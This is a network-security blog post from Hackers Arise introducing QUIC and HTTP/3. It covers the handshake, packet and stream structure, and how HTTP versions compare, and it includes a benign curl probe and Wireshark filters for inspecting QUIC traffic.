From this moment onward, the established session keys encrypt all traffic between client and server. Unlike traditional TCP combined with TLS, QUIC doesn’t require a separate TLS handshake phase. Instead, QUIC tightly integrates TLS into its own handshake, eliminating extra round trips.

One major advantage of this design is that both the server and client can include actual application data, such as HTTP requests and responses, within the handshake itself. As a result, certificate validation and connection establishment happen in parallel with the initial exchange of real data. This makes QUIC both faster and more efficient than the older TCP+TLS model.

How Does QUIC Network Work?

The image below shows the basic structure of a QUIC-based network. As illustrated, HTTP/3 requests, responses, and other application data all travel through QUIC streams. These streams are encapsulated in several logical layers before being transmitted over the network.

Anatomy of a QUIC Stream

A UDP datagram serves as the outer transport container. It has a header with the source and destination ports, along with length and checksum information. It carries one or more QUIC packets. This is the fundamental unit transmitted between the client and server across the network.

A QUIC packet is the unit contained within a UDP datagram. Each datagram may carry one or more of them. Every QUIC packet consists of a QUIC header along with one or more QUIC frames.

The QUIC Header

The QUIC header contains metadata about the packet and comes in two formats. The long header is used during connection setup, while the short header is used once the connection is established. The short header includes the connection ID, packet number, and key phase. The key phase indicates the encryption keys in use and supports key rotation. Packet numbers increase continuously for each connection and key phase.

Frames and Streams

A frame is the smallest structured unit inside a QUIC packet. It contains the frame type, stream ID, offset, and a segment of the stream’s data. Although the data for a stream is spread across multiple frames, the receiver can reassemble it in the correct order using the connection ID, stream ID, and offset.

A stream is a unidirectional or bidirectional channel of data within a QUIC connection. Each QUIC connection can support multiple independent streams, each identified by its own ID. If a QUIC packet is lost, only the streams carried in that packet are affected. All other streams continue uninterrupted. This independence eliminates the head-of-line blocking seen in HTTP/2. Streams can be created by either endpoint and can operate in both directions.

HTTP/3 vs. HTTP/2 vs. HTTP/1: What Actually Changed?

To understand the significance of HTTP/3, it helps to first consider the limitations of its predecessors.

HTTP/1.1, the original protocol still used by millions of websites, handles only one request per TCP connection. This forces browsers to open and close multiple connections just to load a single page, resulting in inefficiency, slower performance, and high sensitivity to network issues.

HTTP/2 introduced major improvements, including multiplexing, which allows multiple requests to share a single TCP connection, as well as header compression and server push. These changes provided significant gains, but the protocol still relies on TCP, which has a fundamental limitation: if one packet is delayed, the entire connection pipeline stalls. This phenomenon, known as head-of-line blocking, cannot be avoided in HTTP/2.

HTTP/3 addresses this limitation by replacing TCP with a more advanced transport layer. Built on QUIC, HTTP/3 establishes encrypted sessions faster, typically requiring only one round-trip instead of three or more. It eliminates head-of-line blocking by giving each stream independent flow control, allowing other streams to continue even if one packet is lost. It can maintain sessions through IP or network changes, recover more gracefully from packet loss, and even support custom congestion control tailored to different workloads.

In short, HTTP/3 is not merely a refined version of HTTP/2. It is a fundamentally redesigned protocol, created to overcome the limitations of previous generations, particularly for mobile users, latency-sensitive applications, and globally distributed traffic.

Get Started with HTTP/3

Modern versions of curl (7.66.0 and later, with HTTP/3 support compiled in) can test whether a target supports QUIC and HTTP/3. Here’s how to probe a server:

kali> curl –http3 -I https://www.example.com

This command attempts to connect using HTTP/3 over QUIC, but will fall back to HTTP/2 or HTTP/1.1 if QUIC isn’t supported.

Besides the theory, it’s also useful to see how QUIC traffic looks “in the wild.” One of the easiest ways to do this is by using Wireshark, a popular tool for analyzing network packets.

QUIC encrypts most of its payload. Even so, Wireshark can still identify QUIC packet types, versions, and some metadata. This helps us understand how a QUIC connection is established.

To start, open Wireshark and visit a website that supports QUIC. Cloudflare is a good example because it widely deploys HTTP/3 and the QUIC protocol. QUIC typically runs over UDP port 443. The simplest filter to confirm that you are seeing QUIC traffic is:

udp.port == 443

This filter shows all UDP traffic on port 443, which almost always corresponds to QUIC when dealing with modern websites.

QUIC uses different packet types during different stages of the connection. Even though the content is encrypted, Wireshark can still distinguish these packet types.

To show only Initial packets, which are the very first packets exchanged when a client starts a QUIC connection, use:

quic.long.packet_type == 0

Initial packets are part of QUIC’s handshake phase. They are somewhat similar to the “ClientHello” and “ServerHello” messages in TLS, except QUIC embeds the handshake inside the protocol itself.

If you want to view Handshake packets, which continue the cryptographic handshake after the Initial packets, use:

quic.long.packet_type == 2

These packets help complete the secure connection setup before QUIC switches to encrypted “short header” packets for normal data (like HTTP/3 requests and responses).
Also, QUIC has multiple versions, and servers often support more than one. To see packets that use a specific version, try:

quic.version == 0x00000001

This corresponds to QUIC version 1, which is standardized in RFC 9000. By checking which QUIC version appears in the traffic, you can understand what the server supports and whether it is using the standardized version or an older draft version.

Summary

QUIC isn’t just an incremental upgrade. It’s a complete reimagining of how modern internet communication should work. The traditional stack of TCP, TLS, and HTTP/2 served us well for many years. But it was never designed for the realities of today’s internet: global-scale latency, constantly changing mobile connections, and the growing demand for both high performance and strong security. QUIC was built from the ground up to address these challenges, making it faster, more resilient, and more secure for the modern web.

Keep coming back, aspiring cyberwarriors, as we continue to explore how fundamental protocols of the internet are being rewritten.

The post Network Security: Get Started with QUIC and HTTP/3 first appeared on Hackers Arise.